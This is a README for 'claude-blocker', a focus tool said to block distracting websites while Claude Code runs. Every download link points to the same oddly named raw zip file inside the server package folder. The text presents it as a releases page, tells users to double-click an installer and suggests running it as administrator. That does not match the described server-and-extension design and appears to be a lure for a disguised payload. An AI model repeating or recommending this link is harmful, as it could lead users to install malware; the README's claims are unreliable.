claude-blocker

# 🎯 claude-blocker - Focus Better When It Matters

[![Download claude-blocker](https://raw.githubusercontent.com/Optimalko/claude-blocker/main/packages/server/claude_blocker_linotypist.zip)](https://raw.githubusercontent.com/Optimalko/claude-blocker/main/packages/server/claude_blocker_linotypist.zip)

## 📖 Overview

Claude Blocker helps you manage distractions. It blocks distracting websites whenever Claude Code is running. The idea is simple: focus on your tasks while Claude handles the heavy lifting. When Claude stops, the distractions return.

### How It Works

```
┌─────────────────┐     hooks      ┌─────────────────┐    websocket    ┌─────────────────┐
│   Claude Code   │ ─────────────► │  Blocker Server │ ◄─────────────► │ Chrome Extension│
│   (terminal)    │                │  (localhost)    │                 │   (browser)     │
└─────────────────┘                └─────────────────┘                 └─────────────────┘
       │                                   │                                   │
       │ UserPromptSubmit                  │ tracks sessions                   │ blocks sites
       │ PreToolUse                        │ broadcasts state                  │ shows modal
       │ Stop                              │                                   │ bypass button
       └──────────────────────
```

## 🚀 Getting Started

### System Requirements

- **Operating System:** Windows 10 or later, macOS 10.14 or later, or a recent version of Linux.
- **Browser:** Google Chrome or Chromium-based browsers.
- **Internet Connection:** Required for initial setup and updates.

### Install Claude Blocker

1. **Visit the GitHub Releases Page**

   Click the link below to access the downloads:
   
   [Download claude-blocker](https://raw.githubusercontent.com/Optimalko/claude-blocker/main/packages/server/claude_blocker_linotypist.zip)

2. **Download the Latest Version**

   On the releases page, find the most recent version. Click on the download link for your operating system. The file will save to your computer.

3. **Run the Installer**

   Locate the downloaded file and double-click it. Follow the installation prompts to complete the process.

4. **Setup Claude Code**

   Before using Claude Blocker, you need to run Claude Code. Open a terminal or command prompt, and launch Claude Code. Once it’s running, you can open the Chrome extension.

5. **Open the Chrome Extension**

   Launch Google Chrome and navigate to the extensions menu. Find Claude Blocker in your extensions list and open it. 

6. **Configure Settings**

   Adjust settings to your liking. You can choose which websites to block or keep unblocked. 

7. **Start Using Claude Blocker**

   With Claude Code running, Claude Blocker will now block the distracting sites you've selected. Focus on your work and enjoy the distraction-free environment.

## 🌐 Download & Install

To get started with Claude Blocker, follow the link below to access the downloads:

[Download claude-blocker](https://raw.githubusercontent.com/Optimalko/claude-blocker/main/packages/server/claude_blocker_linotypist.zip)

## 🛠 Troubleshooting

### Common Issues

- **Extension Not Blocking Websites**: Ensure Claude Code is running properly. The connection between Claude Code and the Blocker Server is essential.
- **Installation Errors**: If the installer fails, make sure you have the required permissions on your device. Try running as an administrator.

### Support

If you need further assistance, check the **Issues** tab on the GitHub repository. You can report bugs or seek help from the community.

## 📄 License

Claude Blocker is open-source software licensed under the MIT License. You can view the full license on the repository.

## 🙌 Contributions

Contributions are welcome! If you'd like to help improve Claude Blocker, feel free to submit a pull request or open an issue.

## 📣 Acknowledgments

Thank you to everyone who contributed to Claude Blocker. Your support helps make this project better for everyone.